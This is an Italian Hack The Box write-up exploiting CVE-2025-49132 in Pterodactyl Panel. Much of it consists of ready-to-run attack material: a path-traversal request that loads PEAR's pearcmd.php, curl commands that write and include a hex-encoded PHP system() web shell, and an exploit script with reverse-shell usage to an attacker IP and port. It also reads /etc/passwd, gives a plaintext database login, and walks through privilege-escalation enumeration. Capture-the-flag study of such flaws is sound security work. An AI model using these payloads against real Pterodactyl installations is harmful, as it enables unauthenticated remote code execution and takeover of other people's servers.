CVE-2025-49132 - Sfruttamento RCE del Pannello Pterodactyl

HTB Stagione 10 - Writeup della Macchina Pterodactyl

Panoramica

Target: Macchina HTB Pterodactyl (Difficoltà Media)
CVE: CVE-2025-49132
Gravità: Critica (CVSS 9.8)
Tipo di Attacco: Esecuzione Remota di Codice Non Autenticata
Affetto: Pannello Pterodactyl < v1.11.11

Questa catena di exploit combina:

1. Attraversamento Percorso nel sistema di traduzione locale
2. Iniezione di Comandi PEAR tramite pearcmd.php
3. Esecuzione di Codice PHP tramite scrittura file + inclusione

Il Bug

L'endpoint /locales/locale.json del Pannello Pterodactyl consente l'attraversamento del percorso tramite il parametro locale:

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

Questo può essere concatenato con pearcmd.php di PEAR per:

1. Scrivere file PHP arbitrari in /tmp
2. Eseguirli tramite un'altra richiesta

Perché Funziona

PEAR (PHP Extension and Application Repository) ha uno strumento CLI (pearcmd.php) che:

• Accetta comandi tramite parametri URL (previsto solo per CLI)
• Ha un comando config-create che scrive file
• Non ha autenticazione quando chiamato via web

La Catena dell'Exploit:

Path Traversal → Load pearcmd.php → Inject PHP via config-create → Execute malicious PHP

Il Trucco Hex2bin()

I comandi sono codificati in esadecimale usando hex2bin() per bypassare:

• Problemi di codifica URL
• Filtri per caratteri speciali
• Problemi di parsing Nginx/PHP

Esempio:

Command: whoami
Hex:     77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>

Esecuzione Remota di Codice

Metodo 1: Usare exploit.sh fornito

chmod +x exploit.sh

# Get user flag
./exploit.sh flag

# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# Reverse shell
nc -lvnp 4444  # On attacker machine
./exploit.sh shell 10.10.14.21 4444

Metodo 2: Sfruttamento manuale

# Step 1: Write PHP shell (hex-encoded "whoami")
curl -g "http://panel.pterodactyl.htb/locales/locale.json?\
+config-create+/&\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
/<?=system(hex2bin('77686f616d69'))?>+/tmp/shell.php"

# Step 2: Execute
curl "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../tmp&\
namespace=shell"

Metodo 3: Script Python

Ho aggiunto exploit.py
**Installa requests**

🛠️ Strumenti Forniti

1. exploit.sh (Consigliato)

Exploit bash completo

./exploit.sh cmd "whoami"           # Execute single command
./exploit.sh shell 10.10.14.21 4444 # Reverse shell
./exploit.sh flag                   # Find user flag

Caratteristiche:

• Codifica Hex2bin() per affidabilità
• Filtraggio output basato su Python
• Molteplici metodi shell (bash TCP + mkfifo)
• Output pulito e analizzato

2. CVE-2025-49132_DETAILED.txt

Documentazione tecnica completa

Contiene:

• Analisi approfondita della vulnerabilità
• Spiegazione dell'architettura PEAR
• Analisi passo-passo dell'exploit
• Guida alla risoluzione dei problemi
• Metodi di rilevamento (IOC)
• Strategie di mitigazione

Avvio Rapido

# 1. Add to /etc/hosts
echo "10.10.x.x pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts

# 2. Download exploit
wget https://your-repo/exploit.sh
chmod +x exploit.sh

# 3. Get shell
nc -lvnp 4444  # Terminal 1
./exploit.sh shell 10.10.14.21 4444  # Terminal 2

# 4. Get user flag
cat /home/phileasfogg3/user.txt

Escalation dei Privilegi

Enumerazione

# Check running services
ss -tlnp

# Found:
# 127.0.0.1:3306 - MySQL (root)
# 127.0.0.1:6379 - Redis
# 127.0.0.1:9000 - PHP-FPM (root)
# 127.0.0.1:25   - Postfix

# Check sudo
sudo -l
# (Likely requires password)

# SUID binaries
find / -perm -4000 2>/dev/null

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

Vettori Comuni di Escalation dei Privilegi

1. MySQL con credenziali note

mysql -u pterodactyl -pPteraPanel
# Check for UDF injection, file write perms

2. PHP-FPM in esecuzione come root

# Check for FPM exploitation (CVE-2019-11043 or config abuse)

3. Sfruttamento di Redis

# Check for auth bypass, RCE via cron
redis-cli -h 127.0.0.1

4. Controlla script scrivibili in cron

find /etc/cron* -writable 2>/dev/null

5. Exploit del kernel (ultima risorsa)

uname -a
# Check for DirtyCow, etc.

Riferimenti

CVE & Exploit

• NVD - CVE-2025-49132
• OpenCVE - CVE-2025-49132

Risorse Tecniche

• Pterodactyl Panel Docs
• PEAR Documentation
• OWASP Path Traversal